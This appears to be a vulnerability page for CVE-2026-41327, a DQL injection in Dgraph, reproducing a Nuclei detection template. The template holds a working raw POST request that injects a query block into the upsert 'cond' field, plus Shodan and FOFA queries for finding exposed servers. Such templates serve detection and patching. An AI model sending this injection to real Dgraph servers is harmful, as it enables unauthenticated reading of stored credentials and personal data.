CVE-2026-41327: Dgraph < 25.3.3 / < 24.1.8 - DQL Injection

2026-11-29 PoC Public

Description

Dgraph v25 before 25.3.3 and v24 before 24.1.8 concatenate the cond field of upsert mutations sent to /mutate into generated DQL without structural validation. When ACL is disabled, as in the default configuration, an unauthenticated attacker can append a query block and read database content through the mutation response.

Details

CVE
CVE-2026-41327 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-41327

info:
  name: Dgraph < 25.3.3 / < 24.1.8 - DQL Injection
  author: s4e-io
  severity: critical
  description: |
    Dgraph v25 before 25.3.3 and v24 before 24.1.8 concatenate the cond field of upsert mutations sent to /mutate into generated DQL without structural validation. When ACL is disabled, as in the default configuration, an unauthenticated attacker can append a query block and read database content through the mutation response.
  impact: |
    Unauthenticated attackers can read every node and predicate stored in Dgraph, including credentials and personal data, and bypass conditional upsert logic.
  remediation: |
    Upgrade Dgraph v25 to 25.3.3 or later, or v24 to 24.1.8 or later, and restrict access to the Alpha HTTP API.
  reference:
    - https://github.com/dgraph-io/dgraph/security/advisories/GHSA-mrxx-39g5-ph77
    - https://github.com/dgraph-io/dgraph/commit/55e3b79817e87512297695f7dccae86130d0c81e
    - https://github.com/dgraph-io/dgraph/releases/tag/v25.3.3
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41327
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-41327
    epss-score: 0.01621
    epss-percentile: 0.76499
    cwe-id: CWE-943
    cpe: cpe:2.3:a:dgraph:dgraph:*:*:*:*:*:go:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dgraph
    product: dgraph
    shodan-query: http.html:"Dgraph browser is available"
    fofa-query: body="Dgraph browser is available"
  tags: cve,cve2026,dgraph,dql,injection,unauth

variables:
  qname: "{{rand_text_alpha(10)}}"
  qnum: "{{rand_int(100000, 999999)}}"

http:
  - raw:
      - |
        POST /mutate?commitNow=true HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query":"{ q(func: uid(0x1)) { uid } }","set":[],"cond":"@if(uid(0x1))\n {{qname}}(func: uid({{qnum}})) { uid }"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"queries\":{", "\"server_latency\":", "\"" + qname + "\":[{\"uid\":\"0x" + dec_to_hex(qnum) + "\"}]")'
        condition: and
# digest: 4b0a004830460221008a8de383a234311c12c38c21151a988fe04e2b6a89d097acfc91307d154a25ae022100f3bae46dd013bf0f21269449ed73abc8144a80a0a3e2f3f9ff2e18d27cf6b887:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life